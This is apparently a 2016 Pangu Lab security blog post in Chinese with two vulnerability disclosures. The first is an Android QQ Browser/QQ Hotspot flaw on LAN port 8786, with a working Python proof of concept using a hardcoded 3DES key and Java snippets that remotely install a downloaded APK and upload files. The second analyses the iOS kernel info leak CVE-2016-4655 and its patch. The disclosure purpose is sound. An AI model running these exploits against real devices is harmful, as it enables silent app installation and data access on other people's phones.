Sep, 2016

QQ浏览器(Wormable Browser) 漏洞报告

漏洞说明

安卓版QQ浏览器,QQ热点等应用程序在本地wifi开始时,会监听本地8786端口,且监听本地所有ip地址。当攻击方和被攻击方处于同一局域网环境时,通过该接口,可在局域网内运行QQ浏览器,QQ热点的设备中上传数据、启动应用安装等。当这些应用拥有root权限时,可静默安装移动应用。攻击方和被攻击方处于不同局域网环境时,可通过恶意链接,远程植入,感染与被攻击方所在局域网内所有运行安卓版QQ浏览器,QQ热点等应用的主机。

漏洞详情

发现过程:
通过Janus平台搜索发现,QQ浏览器会在本地开启服务。

应用在获取到连接时会在handle方法进行处理。


通过bind命令,可以通过连接验证。然后利用其他命令,如downloadandinstall进行远程控制。

漏洞证明

1、远程获取已安装应用列表。

#!/usr/bin/env python2
# -*- coding: utf-8 -*-  

import requests
import base64
from binascii import b2a_hex, a2b_hex
from pyDes import *

payload = ""

x_uuid = "d661d51862c23e397d14cb0eb2bf46f4"
key = "kM7hYp8lE69UjidhlPbD98Pm"

def encode_(s):
    e_scheme = triple_des(key, ECB, "\0\0\0\0\0\0\0\0", pad = None, padmode = PAD_PKCS5)
    r = e_scheme.encrypt(s) 
    return base64.b64encode(r)

def decode_(s):
    b = base64.b64decode(s)
    e_scheme = triple_des(key, ECB, "\0\0\0\0\0\0\0\0", pad = None, padmode = PAD_PKCS5)
    return e_scheme.decrypt(b)

def req(payload):
    headers = { 'Content-Length':str(len(payload)), 'Content-Type':'application/x-www-form-urlencoded',
    'Host':'127.0.0.1', 'Connection':'close', 'Accept-Encoding':'gzip'}
    try:
        r = requests.post("http://192.168.31.160:8786/bind?uuid=" + x_uuid, data=payload, headers=headers)
        r = requests.get("http://192.168.31.160:8786/getapplist?uuid=" + x_uuid)                        
    except:
        print "Error"

    print r.status_code
    print r.content
    if r != '':
        print decode_(r.content)
    print r.headers

if __name__ == "__main__":
    stage1 = encode_("{'code':'123456','uuid':" + x_uuid + "}")
    stage2 = encode_(stage1)

    req(stage2)

2、远程下载、安装应用。

String apkdetail="{'pkgName':'com.wandoujia.phoenix2',"
            + "'url':'http://a.wdjcdn.com/release/files/phoenix/5.19.1.12038/wandoujia-wandoujia-web_direct_binded_5.19.1.12038.apk',"
            + "'name':'wandoujia-wandoujia-web_direct_binded_5.19.1.12038.apk',"
            + "'fileMd5':'3808dbc7092e18ec9e375d54b027162f',"
            + "'autoOpen':'true',"
            + "'installBySys':'false',"
            //+ "'fileFolderPath':'',"
            + "'forbidRename':'true','length':'6492397','mimeType':'application/x-www-form-urlencoded','hasToast':'true',"
            + "'hasChooserDlg':'true'}";
String data=b(apkdetail,f_u);
data=b(data,f_u);
resp=(doPost("http://192.168.31.156:8786/downloadandinstall?uuid="+uuid, data));

3、其他如上传文件等均可执行。

String fileContent=Util.readFileByLines("D:\\迅雷下载\\w.apk");
resp=(doPost("http://192.168.31.155:8786/bind?uuid="+uuid, ecStep2));
resp=(doPost("http://192.168.31.155:8786/upload?      uuid="+uuid+"&len=6492397&start=0&time=0&name=w.apk&type=apk&fileMd5=3808dbc7092e18ec9e375d54b027162f&installBySys=true",fileContent));

修复方案

结合这两款应用的应用场景发现,在鉴权方面并没有多大的修复空间(这两款应用都通过2次的3DES加密交换uuid,对第三方接入进行鉴权)。因此,我们建议开发者在第三方接入时,给用户必要的交互提示警告,确保经过用户授权才可以调用相关接口,从流程上对这个问题进行修复。
通过在盘古的Janus平台检索发现,有两款腾讯应用受此漏洞影响。分别是QQ浏览器和QQ热点。

其中QQ浏览器的影响比较大,测试发现包括最新版的很多版本都受这个漏洞的影响。

漏洞发现者

赵帅,盘古实验室研究员
卜文奇,盘古实验室实习研究员

CVE-2016-4655

苹果在上个月紧急发布了9.3.5更新来封堵Pegasus攻击中使用的漏洞,不过内核信息泄露的漏洞(CVE-2016-4655)在iOS10beta8版本中仍然没有被修补。直到今日开始推送的10.0.1版本中才修补该漏洞(安全更新)。

由于iOS10是iPhone7/7p的预装系统,因此苹果可能在知晓该漏洞前已经开始生产iPhone7/7p设备,导致无法在10.0中修补该漏洞。而Pegasus攻击中使用的另一个内核UAF类型的漏洞(CVE-2016-4656)其实在iOS10beta1版本中已经被修补,猜测是苹果内部安全团队应该也发现了该漏洞。

漏洞原理

OSUnserializeBinary函数用于解析二进制格式的序列化对象,之前爆出的UAF漏洞(CVE-2016-1828)和这次的UAF漏洞(CVE-2016-4656)都存在于该函数中。我们观察OSNumber对象的创建代码。

        len = (key & kOSSerializeDataMask);
        wordLen = (len + 3) >> 2;
        end = (0 != (kOSSerializeEndCollecton & key));
        DEBG("key 0x%08x: 0x%04x, %d\n", key, len, end);

        newCollect = isRef = false;
        o = 0; newDict = 0; newArray = 0; newSet = 0;

        switch (kOSSerializeTypeMask & key)
        {
        ...
            case kOSSerializeNumber:
                bufferPos += sizeof(long long);
                if (bufferPos > bufferSize) break;
                value = next[1];
                value <<= 32;
                value |= next[0];
                o = OSNumber::withNumber(value, len);  // <--------- len可控
                next += 2;
                break;

在创建的过程中value和len都是我们可以任意指定的数据,查看OSNumber.cpp的代码可以发现len其实对应的含义是number of bits,也就是数据的位数。数据位数应该不超过64,然而整个初始化过程中没有任何额外的检查。

bool OSNumber::init(unsigned long long inValue, unsigned int newNumberOfBits)
{
    if (!super::init())
        return false;

    size = newNumberOfBits;         // <--------- size可控
    value = (inValue & sizeMask);

    return true;
}

OSNumber *OSNumber::withNumber(unsigned long long value,
                           unsigned int newNumberOfBits)
{
    OSNumber *me = new OSNumber;

    if (me && !me->init(value, newNumberOfBits)) {
        me->release();
        return 0;
    }

    return me;
}

我们控制的size成员会被numberOfBits和numberOfBytes函数使用,因此我们也可以任意控制这两个函数的返回值。

unsigned int OSNumber::numberOfBits() const { return size; }

unsigned int OSNumber::numberOfBytes() const { return (size + 7) / 8; }

继续观察使用这两个函数的地方,可以发现is_io_registry_entry_get_property_bytes中通过numberOfBytes函数确认OSNumber的数据长度,最终造成内核栈数据读取的漏洞。而内核栈上保存了函数调用地址以及stack cookie等数据,可以轻易计算出内核的基地址。

    } else if( (off = OSDynamicCast( OSNumber, obj ))) {
    offsetBytes = off->unsigned64BitValue();    // <--------- offsetBytes是栈上的一个uint64_t的变量
    len = off->numberOfBytes();             // <--------- len可控
    bytes = &offsetBytes;                   // <--------- bytes指向栈上的地址
    } else
    ret = kIOReturnBadArgument;

    if( bytes) {
    if( *dataCnt < len)
        ret = kIOReturnIPCError;
    else {
            *dataCnt = len;
            bcopy( bytes, buf, len );       // <--------- 拷贝任意长度栈上的数据返回给用户态
    }
    }

漏洞修补

分析10.0.1的内核可以看到苹果在创建OSNumber前对参数做了额外的校验。

        v30 = (OSSet *)(*(_DWORD *)v15 & 0xFFFFFF);
        v31 = *(_DWORD *)v15 & 0x7F000000;
        if ( v31 <= 0x7FFFFFF )
        {
          if ( v31 > 0x2FFFFFF )
          {
            if ( v31 != 0x3000000 )
            {
              v16 = v27;
              if ( v31 != 0x4000000
                || v108 + 12 > (unsigned __int64)v109
                || (unsigned int)((_DWORD)v30 - 8) > 0x38    // <--------- 限定len的范围是8-64
                || !((1LL << (*v15 - 8)) & 0x100000001000101LL) ) // <--------- 限定len只能是8/16/32/64
              {
                goto LABEL_158;
              }
              v107 = *(_DWORD *)v15;
              v108 += 12LL;
              v51 = v15;
              v20 = OSNumber::withNumber(
                      *((unsigned int *)v15 + 1) | ((unsigned __int64)*((unsigned int *)v15 + 2) << 32),
                      *(_DWORD *)v15 & 0xFFFFFF);

漏洞发现

我们并非通过bindiff等复杂手段定位该漏洞,所以。。。这是一个悲伤的。。。撞洞的故事。。。

实际情况是当苹果发布9.3.5版本后,我们测试了手中的漏洞,结果发现这枚未满周岁的信息泄露漏洞不幸阵亡 TT